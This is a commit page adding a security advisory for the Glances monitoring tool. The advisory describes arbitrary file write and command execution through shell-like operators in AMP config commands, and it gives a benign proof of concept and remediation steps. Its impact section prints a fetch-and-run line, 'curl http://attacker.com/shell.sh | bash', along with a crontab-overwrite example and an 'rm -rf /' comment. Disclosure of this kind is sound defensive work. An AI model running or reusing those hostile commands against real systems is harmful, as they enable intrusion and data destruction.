Skip to content

Commit 8fbccc2

Browse files
1 parent 6e2931d commit 8fbccc2

1 file changed

Lines changed: 61 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3vwc-qwhc-3mj7",
4+
"modified": "2026-06-23T17:59:01Z",
5+
"published": "2026-06-23T17:59:01Z",
6+
"aliases": [
7+
"CVE-2026-53925"
8+
],
9+
"summary": "Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration",
10+
"details": "### Summary\n\nThe `secure_popen()` function in `glances/secure.py` interprets `>` (file redirection), `|` (pipe), and `&&` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.\n\nWhen Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `>`), chain arbitrary commands (via `&&`), or pipe command output to arbitrary programs (via `|`).\n\nCrucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function's interpretation of shell-like operators.\n\n### Details\n\n**Affected code path 1 — Default AMP (`glances/amps/default/__init__.py:69`)**\n\n```python\nres = self.get('command')\n# ...\nself.set_result(secure_popen(res).rstrip())\n```\n\nThe `command` config value is loaded from `[amp_<name>]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):\n\n```python\nself.configs[param] = config.get_value(amp_section, param).split(',')\n```\n\n**Affected code path 2 — SystemV AMP (`glances/amps/systemv/__init__.py:60`)**\n\n```python\nres = secure_popen(self.get('service_cmd'))\n```\n\nThe `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.\n\n**Sink — `secure_popen()` (`glances/secure.py:33-77`)**\n\nThe function explicitly parses:\n- `>` for file redirection (line 39): `cmd.split('>')` — the path after `>` is used directly in `open(stdout_redirect, \"w\")` (line 71) with **no path validation**.\n- `|` for command piping (line 51): `cmd.split('|')` — each segment is executed as a separate `Popen` with stdout piped to the next.\n- `&&` for command chaining (line 27 in `secure_popen`): `cmd.split('&&')` — each segment is executed sequentially.\n\nNone of these operators are sanitized or restricted when loading AMP configuration values.\n\n**Why `--disable-config-exec` does not help:**\n\nThe `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data > /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `>` operator and writes to the arbitrary path.\n\n### PoC\n\n**Clean-checkout recipe:**\n\n1. Create a test configuration file:\n\n```bash\ncat > /tmp/poc-glances.conf << 'EOF'\n[amp_poc]\nenable=true\nregex=.*\nrefresh=3\ncommand=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp\n\n[outputs]\ncors_origins=*\nEOF\n```\n\n2. Run a Python script that simulates the AMP command execution path:\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')\nfrom glances.config import Config\nfrom glances.secure import secure_popen\nimport os\n\n# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)\nconfig = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)\n\n# Read AMP command value (same as amp.py load_config)\ncommand = config.get_value('amp_poc', 'command')\nprint(f'Command: {command!r}')\n\n# Execute (same as amps/default/__init__.py line 69)\nmarker = '/tmp/cve-poc-marker-amp'\nassert not os.path.exists(marker), 'Clean state required'\nresult = secure_popen(command)\nprint(f'Result: {result!r}')\n\n# Verify arbitrary file write occurred\nassert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'\nwith open(marker) as f:\n content = f.read()\nprint(f'Written to {marker}: {content!r}')\nassert 'POC_ARBITRARY_FILE_WRITE' in content\n\n# Cleanup\nos.remove(marker)\nprint('CONFIRMED: Arbitrary file write via secure_popen > in AMP command')\n```\n\n**Expected vulnerable output:**\n\n```\nCommand: 'echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp'\nResult: 'POC_ARBITRARY_FILE_WRITE\\n'\nWritten to /tmp/cve-poc-marker-amp: 'POC_ARBITRARY_FILE_WRITE\\n'\nCONFIRMED: Arbitrary file write via secure_popen > in AMP command\n```\n\n**Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):**\n\n```python\n# This IS blocked by --disable-config-exec:\n# command=`rm -rf /` → get_value() skips backtick execution\n\n# This is NOT blocked by --disable-config-exec:\n# command=echo data > /etc/crontab → secure_popen writes to /etc/crontab\n```\n\n**Cleanup:**\n\n```bash\nrm -f /tmp/poc-glances.conf /tmp/cve-poc-marker-amp\n```\n\n### Impact\n\nAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:\n\n1. **Write arbitrary content to arbitrary files** via the `>` operator — e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.\n\n2. **Execute arbitrary commands** via the `&&` and `|` operators — e.g., `echo x && curl http://attacker.com/shell.sh | bash`.\n\n3. **Exfiltrate data** via the `|` operator piping command output to network utilities.\n\nThe existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).\n\n### Suggested remediation\n\n1. **Remove file redirection support from `secure_popen()`** unless explicitly required. The `>` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).\n\n2. **Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `&&`, `|`, `>>`, and `>` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.\n\n3. **Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`&&`, `|`, `>`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.\n\n4. **Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "glances"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "4.0.8"
29+
},
30+
{
31+
"fixed": "4.5.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-3vwc-qwhc-3mj7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nicolargo/glances"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-22"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-06-23T17:59:01Z",
59+
"nvd_published_at": null
60+
}
61+
}

0 commit comments

Comments
 (0)